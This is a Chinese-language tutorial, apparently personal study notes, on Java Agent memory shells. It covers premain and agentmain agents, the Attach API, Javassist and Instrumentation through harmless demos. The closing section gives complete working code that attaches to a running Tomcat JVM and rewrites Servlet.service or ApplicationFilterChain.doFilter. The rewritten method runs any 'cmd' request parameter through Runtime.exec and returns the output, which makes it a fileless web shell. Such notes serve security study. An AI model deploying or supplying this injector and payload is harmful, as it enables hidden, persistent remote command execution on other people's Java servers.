笔记

Agent型内存马其实就不局限于tomcat了，它是给运行中的JVM加载了一个agentmain-Agent，这个agentmain-Agent用javassist生成了木马的字节码，然后用Instrumentation把字节码加到类的方法里实现的攻击。理论上其他java程序也能用这种方法注入内存马。

Agent有两种，premain-Agent是在 JVM 启动前加载的，agentmain-Agent是JVM 启动之后加载的。

几种 Java Agent 实例

premain-Agent

这部分和内存马无关，可以直接看agentmain-Agent，但是很多程序的破解版是用这种方法实现的，可以了解一下

从官方文档中可知晓，首先我们必须实现 premain 方法，同时我们 jar 文件的清单（mainfest）中必须要含有 Premain-Class 属性

我们可在命令行利用 -javaagent 来实现启动时加载。

https://docs.oracle.com/en/java/javase/24/docs/api/java.instrument/java/lang/instrument/package-summary.html

premain 方法顾名思义，会在我们运行 main 方法之前进行调用，即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法

例如：

agent.java

1
2
3
4
5
6
7
8
9
package org.example;

import java.lang.instrument.Instrumentation;

public class agent {
    public static void premain(String args,Instrumentation inst) {
        System.out.println("agent.premain");
    }
}

agent.mf

1
2
3
4
Manifest-Version: 1.0
Premain-Class: org.example.agent

#这里必须有个换行

hello.java

1
2
3
4
5
6
7
package org.example;

public class hello {
    public static void main(String[] args) {
        System.out.println("Hello World");
    }
}

hello.mf

1
2
3
4
Manifest-Version: 1.0
Main-Class: org.example.hello

#这里必须有个换行
1
2
3
4
5
6
# 在src/main/java下执行，不要在src/main/java/org/example下执行，jar打包时候路径不对
javac -encoding UTF-8 .\org\example\agent.java
javac -encoding UTF-8 .\org\example\hello.java
jar cvfm hello.jar .\org\example\hello.mf .\org\example\hello.class
jar cvfm agent.jar .\org\example\agent.mf .\org\example\agent.class
java -javaagent:agent.jar=hello -jar hello.jar

可以看到agent的代码先输出，然后才是hello的代码

agentmain-Agent

相较于 premain-Agent 只能在 JVM 启动前加载，agentmain-Agent 能够在JVM启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和 JVM 有关的两个类。

VirtualMachine类

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息，内存dump、线程dump、类信息统计（例如JVM加载的类）等功能。

该类允许我们通过给 attach 方法传入一个 JVM 的 PID，来远程连接到该 JVM 上 ，之后我们就可以对连接的 JVM 进行各种操作，如注入 Agent。下面是该类的主要方法

JAVA

1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID，然后远程连接到该JVM上
VirtualMachine.attach()
 
//向JVM注册一个代理程序agent，在该agent的代理程序中会得到一个Instrumentation实例，该实例可以 在class加载前改变class的字节码，也可以在class加载后重新加载。在调用Instrumentation实例的方法时，这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()
 
//获得当前所有的JVM列表
VirtualMachine.list()
 
//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor 类

com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类，其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.drunkbaby;  
  
import com.sun.tools.attach.VirtualMachine;  
import com.sun.tools.attach.VirtualMachineDescriptor;  
  
import java.util.List;  
  
public class get_PID {  
    public static void main(String[] args) {  
  
        //调用VirtualMachine.list()获取正在运行的JVM列表  
        List<VirtualMachineDescriptor> list = VirtualMachine.list();  
        for(VirtualMachineDescriptor vmd : list){  
  
            //遍历每一个正在运行的JVM，如果JVM名称为get_PID则返回其PID  
            if(vmd.displayName().equals("com.drunkbaby.get_PID"))  
                System.out.println(vmd.id());  
        }  
  
    }  
}

实现agentmain-Agent

下面我们就来实现一个agentmain-Agent。首先我们编写一个 Sleep_Hello 类，模拟正在运行的 JVM

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
    public static void main(String[] args) throws InterruptedException {
        while (true){
            System.out.println("Hello World!");
            sleep(5000);
        }
    }
}

然后编写我们的agent类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class agent {
    public static void agentmain(String args,Instrumentation inst) throws InterruptedException {
        while (true){
            System.out.println("调用了agentmain-Agent!");
            sleep(3000);
        }
    }
}

agent.mf

1
2
3
Manifest-Version: 1.0
Agent-Class: org.example.agent

打包成jar，和上面premain打包的方法一样，但是不用打包Sleep_Hello

1
2
javac .\org\example\agent.java
jar cvfm agent.jar .\org\example\agent.mf .\org\example\agent.class

最后准备一个 Inject 类，将我们的 agent-main 注入目标 JVM：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        //调用VirtualMachine.list()获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) {
            //遍历每一个正在运行的JVM，如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
            if (vmd.displayName().equals("org.example.Sleep_Hello")) {

                //连接指定JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                //加载Agent
                virtualMachine.loadAgent(
                    "D:\\javaprojects\\untitled3\\src\\main\\java\\agent.jar"
                );
                //断开JVM连接
                virtualMachine.detach();
            }

        }
    }
}

然后依次运行Sleep_Hello和Inject_Agent，可以看到agent成功注入了：

image-20250909101916523

Javassist

什么是 Javassist

Java 字节码以二进制的形式存储在 .class 文件中，每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法，或者是修改已有的方法，并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射。

ClassPool

ClassPool是CtClass对象的容器。CtClass对象必须从该对象获得。如果get()在此对象上调用，则它将搜索表示的各种源ClassPath 以查找类文件，然后创建一个CtClass表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放CtClass对象的容器。

获得方法： ClassPool cp = ClassPool.getDefault();。通过 ClassPool.getDefault() 获取的 ClassPool 使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上，ClassPool 可能无法找到用户的类，因为Web服务器使用多个类加载器作为系统类加载器。在这种情况下，ClassPool 必须添加额外的类搜索路径。

1
cp.insertClassPath(new ClassClassPath(<Class>));

CtClass

可以将其理解成加强版的Class对象，我们可以通过CtClass对目标类进行各种操作。可以ClassPool.get(ClassName)中获取。

CtMethod

同理，可以理解成加强版的Method对象。可通过CtClass.getDeclaredMethod(MethodName)获取，该类提供了一些方法以便我们能够直接修改方法体

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public final class CtMethod extends CtBehavior {
    // 主要的内容都在父类 CtBehavior 中
}
 
// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
    // 设置方法体
    public void setBody(String src);
 
    // 插入在方法体最前面
    public void insertBefore(String src);
 
    // 插入在方法体最后面
    public void insertAfter(String src);
 
    // 在方法体的某一行插入内容
    public int insertAt(int lineNum, String src);
 
}

传递给方法 insertBefore() ，insertAfter() 和 insertAt() 的 String 对象是由Javassist 的编译器编译的。 由于编译器支持语言扩展，以 $ 开头的几个标识符有特殊的含义：

标识符 含义
$0, $1, $2, ... this 和实参
$args 参数数组。$args 的类型是 Object[]
$$ 所有实参，例如m($$)等同于m($1,$2,...)
$cflow(...) cflow变量
$r 返回值类型。用于强制类型转换表达式
$w 包装类型。用于强制类型转换表达式
$_ 结果值
$sig java.lang.Class对象的数组，表示参数类型
$type java.lang.Class对象的数组，表示结果类型
$class java.lang.Class对象的数组，表示当前被编辑的类

使用示例

pom.xml

XML

1
2
3
4
5
6
7
<dependencies>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.29.2-GA</version>
    </dependency>
</dependencies>

创建测试类

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example;

import javassist.*;
import java.lang.reflect.Modifier;

public class Javassist_Test {
    public static void Create_Person() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass Dog = pool.makeClass("Dog");

        // 添加构造函数
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, Dog);
        constructor.setModifiers(Modifier.PUBLIC);
        Dog.addConstructor(constructor);

        // 添加私有字段 name
        CtField ctField1 = new CtField(pool.get("java.lang.String"), "name", Dog);
        ctField1.setModifiers(Modifier.PRIVATE);
        Dog.addField(ctField1);

        // 添加 setName 方法，带 try-catch
        CtMethod ctMethod1 = new CtMethod(CtClass.booleanType, "setName", new CtClass[]{pool.get("java.lang.String")}, Dog);
        ctMethod1.setModifiers(Modifier.PUBLIC);
        ctMethod1.setBody("{" +
            "try {" +
            "    this.name = $1;" +
            "    return true;" +
            "} catch (Exception e) {" +
            "    System.out.println(\"Error setting name: \" + e.getMessage());" +
            "    return false;" +
            "}" +
        "}");
        Dog.addMethod(ctMethod1);

        // 生成 .class 文件到指定目录
        Dog.writeFile("./");
    }

    public static void main(String[] args) throws Exception {
        Create_Person();
    }
}

生成的Person.class反编译后如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

public class Dog {
    private String name;

    public Dog() {
    }

    public boolean setName(String var1) {
        try {
            this.name = var1;
            return true;
        } catch (Exception var3) {
            System.out.println("Error setting name: " + ((Throwable)var3).getMessage());
            return false;
        }
    }
}

Instrumentation

Instrumentation 是 JVMTIAgent（JVM Tool Interface Agent）的一部分，Java agent 通过这个类和目标 JVM 进行交互，从而达到修改数据的效果。

其在 Java 中是一个接口，常用方法如下

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public interface Instrumentation {
    
    //增加一个Class 文件的转换器，转换器用于改变 Class 二进制流的数据，参数 canRetransform 设置是否允许重新转换。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
 
    //在类加载之前，重新定义 Class 文件，ClassDefinition 表示对一个类新的定义，如果在类加载之后，需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后，后续的类加载都会被Transformer拦截。对于已经加载过的类，可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后，除非再次被retransform，否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);
 
    //删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);
 
 
    //在类加载之后，重新定义 Class。这个很重要，该方法是1.6 之后加入的，事实上，该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
 
 
 
    //判断一个类是否被修改
    boolean isModifiableClass(Class<?> theClass);
 
    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();
 
    //获取一个对象的大小
    long getObjectSize(Object objectToSize);
 
}

ClassFileTransformer

转换类文件，该接口下只有一个方法：transform，重写该方法即可转换任意类文件，并返回新的被取代的类文件，在 java agent 内存马中便是在该方法下重写恶意代码，从而修改原有类文件代码逻辑，与 addTransformer 搭配使用。

JAVA

1
2
//增加一个Class 文件的转换器，转换器用于改变 Class 二进制流的数据，参数 canRetransform 设置是否允许重新转换。  
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

替换目标 JVM 已加载类

下面我们简单实现一个能够替换目标 JVM 已加载类的 agentmain-Agent

Sleep_Hello.java，要被替换的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
    public static void main(String[] args) throws InterruptedException {
        while (true){
            hello();
            sleep(5000);
        }
    }
    public static void hello(){
        System.out.println("Hello World!");
    }
}

agent.java，要加载的agent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class agent {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException, UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();

        //获取目标JVM加载的全部类
        for(Class cls : classes){
            if (cls.getName().equals("org.example.Sleep_Hello")){

                //添加一个transformer到Instrumentation，并重新触发目标类加载
                inst.addTransformer(new Hello_Transform(),true);
                inst.retransformClasses(cls);
            }
        }
    }
}

Hello_Transform.java，要加载的transformer，包含具体如何修改Sleep_Hello的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example;

import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class Hello_Transform implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        try {

            //获取CtClass 对象的容器 ClassPool
            ClassPool classPool = ClassPool.getDefault();

            //添加额外的类搜索路径
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }

            //获取目标类
            CtClass ctClass = classPool.get("org.example.Sleep_Hello");
            System.out.println(ctClass);

            //获取目标方法
            CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

            //设置方法体
            String body = "{System.out.println(\"Hacker!\");}";
            ctMethod.setBody(body);

            //返回目标类字节码
            return ctClass.toBytecode();

        }catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

MANIFEST.MF，放在src/main/resources/META-INF/MANIFEST.MF

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: org.example.agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

Inject_Agent.java，将agent注入到Sleep_Hello中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        //调用VirtualMachine.list()获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            System.out.println(vmd.displayName());
            //遍历每一个正在运行的JVM，如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
            if(vmd.displayName().equals("org.example.Sleep_Hello")){
                //连接指定JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                //加载Agent
                virtualMachine.loadAgent("D:\\javaprojects\\untitled4\\target\\untitled4-1.0-SNAPSHOT-jar-with-dependencies.jar");
                //断开JVM连接
                virtualMachine.detach();
            }

        }
    }
}

用插件打包吧，javassist是第三方库不好打包，pom.xml加入：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-assembly-plugin</artifactId>
            <version>2.6</version>
            <configuration>
                <descriptorRefs>
                    <descriptorRef>jar-with-dependencies</descriptorRef>
                </descriptorRefs>
                <archive>
                    <manifestFile>
                        src/main/resources/META-INF/MANIFEST.MF
                    </manifestFile>
                </archive>
            </configuration>
        </plugin>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-compiler-plugin</artifactId>
            <configuration>
                <source>8</source>
                <target>8</target>
            </configuration>
        </plugin>
    </plugins>
</build>

assembly:assembly打包，输出在target下：

image-20250926135824054

这个就是Inject_Agent.java里loadAgent的路径，必须是with-dependencies，第一个包里MANIFEST不对

然后运行Sleep_Hello再运行Inject_Agent就能替换Sleep_Hello中的hello方法

image-20250926143027018

当然直接打包也行，得先把javassist-3.29.2-GA.jar复制到源码路径，然后用-cp指定路径

1
2
3
4
5
6
javac -cp .\javassist-3.29.2-GA.jar .\Hello_Transform.java .\agent.java
cd ../..
jar cvfm agent.jar ..\resources\META-INF\MANIFEST.MF .\org\example\agent.class .\org\example\Hello_Transform.class
已添加清单
正在添加: org/example/agent.class(输入 = 1024) (输出 = 615)(压缩了 39%)
正在添加: org/example/Hello_Transform.class(输入 = 1569) (输出 = 830)(压缩了 47%)

改一下Inject_Agent里loadAgent的路径，效果是一样的：

image-20250926144759684

大多数情况下，我们使用 Instrumentation 都是使用其字节码插桩的功能，简单来说就是类重定义功能（Class Redefine），但是有以下局限性：

premain 和 agentmain 两种方式修改字节码的时机都是类文件加载之后，也就是说必须要带有 Class 类型的参数，不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

类的字节码修改称为类转换 (Class Transform)，类转换其实最终都回归到类重定义 Instrumentation#redefineClasses 方法，此方法有以下限制：

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同，并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是 private static/final 修饰的
  5. 可以修改方法体

Agent 内存马

原理就是用上面的方法替换tomcat里的方法，放一个马进去

但在实际尝试的时候报错：java.lang.RuntimeException: org.apache.catalina.core.ApplicationFilterChain class is frozen

Tomcat 在启动时会将 ApplicationFilterChain 类“冻结”（frozen），以防止在运行时被修改。

其实是可以注入的，报错不影响执行

尝试servlet型内存马修改自己servlet的service方法，虽然报错，但是能执行：

Inject_Agent.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class agent {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException, UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();

        //获取目标JVM加载的全部类
        for(Class cls : classes){
//            System.out.println(cls.getName());
            if (cls.getName().equals("org.example.demo3.Servlet1")){

                //添加一个transformer到Instrumentation，并重新触发目标类加载
                inst.addTransformer(new Filter_Transform(),true);
                inst.retransformClasses(cls);
            }
        }
    }
}

agent.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class agent {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException, UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();

        //获取目标JVM加载的全部类
        for(Class cls : classes){
//            System.out.println(cls.getName());
            if (cls.getName().equals("org.example.demo3.Servlet1")){

                //添加一个transformer到Instrumentation，并重新触发目标类加载
                inst.addTransformer(new Filter_Transform(),true);
                inst.retransformClasses(cls);
            }
        }
    }
}

Filter_Transform.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;

import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;


public class Filter_Transform implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {

            //获取CtClass 对象的容器 ClassPool
            ClassPool classPool = ClassPool.getDefault();

            //添加额外的类搜索路径
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }

            //获取目标类
            CtClass ctClass = classPool.get("org.example.demo3.Servlet1");

            //获取目标方法
            CtMethod ctMethod = ctClass.getDeclaredMethod("service");

            //设置方法体
            String body = """
                    {
                        String cmd = $1.getParameter("cmd");
                        if (cmd != null) {
                            java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                            java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\\\a");
                            String output = s.hasNext() ? s.next() : "";
                            $2.getWriter().println(output);
                        }
                    }""";
            ctMethod.setBody(body);

            //返回目标类字节码
            byte[] bytes = ctClass.toBytecode();
            return bytes;

        }catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

MANIFEST.MF

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: org.example.agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

image-20251009104028513

filter型内存马也是可以注入的，之前以为不能注入是因为用的payload只执行不回显

Inject_Agent.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
//            System.out.println(vmd.displayName());
            //遍历每一个正在运行的JVM，如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
            if(vmd.displayName().contains("catalina")){
                System.out.println("yes");
                //连接指定JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                //加载Agent
                virtualMachine.loadAgent("D:\\javaprojects\\untitled4\\target\\untitled4-1.0-SNAPSHOT-jar-with-dependencies.jar");
                //断开JVM连接
                virtualMachine.detach();
            }

        }
    }
}

agent.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class agent {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException, UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();

        //获取目标JVM加载的全部类
        for(Class cls : classes){
//            System.out.println(cls.getName());
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){

                //添加一个transformer到Instrumentation，并重新触发目标类加载
                inst.addTransformer(new Filter_Transform(),true);
                inst.retransformClasses(cls);
            }
        }
    }
}

Filter_Transform.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;

import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;


public class Filter_Transform implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {

            //获取CtClass 对象的容器 ClassPool
            ClassPool classPool = ClassPool.getDefault();

            //添加额外的类搜索路径
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }

            //获取目标类
            CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

            //获取目标方法
            CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

            //设置方法体
            String body = """
                    {
                        String cmd = $1.getParameter("cmd");
                        if (cmd != null) {
                            java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                            java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\\\a");
                            String output = s.hasNext() ? s.next() : "";
                            $2.getWriter().println(output);
                        }
                    }""";
            ctMethod.setBody(body);

            //返回目标类字节码
            byte[] bytes = ctClass.toBytecode();
            return bytes;

        }catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

MANIFEST.MF

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: org.example.agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true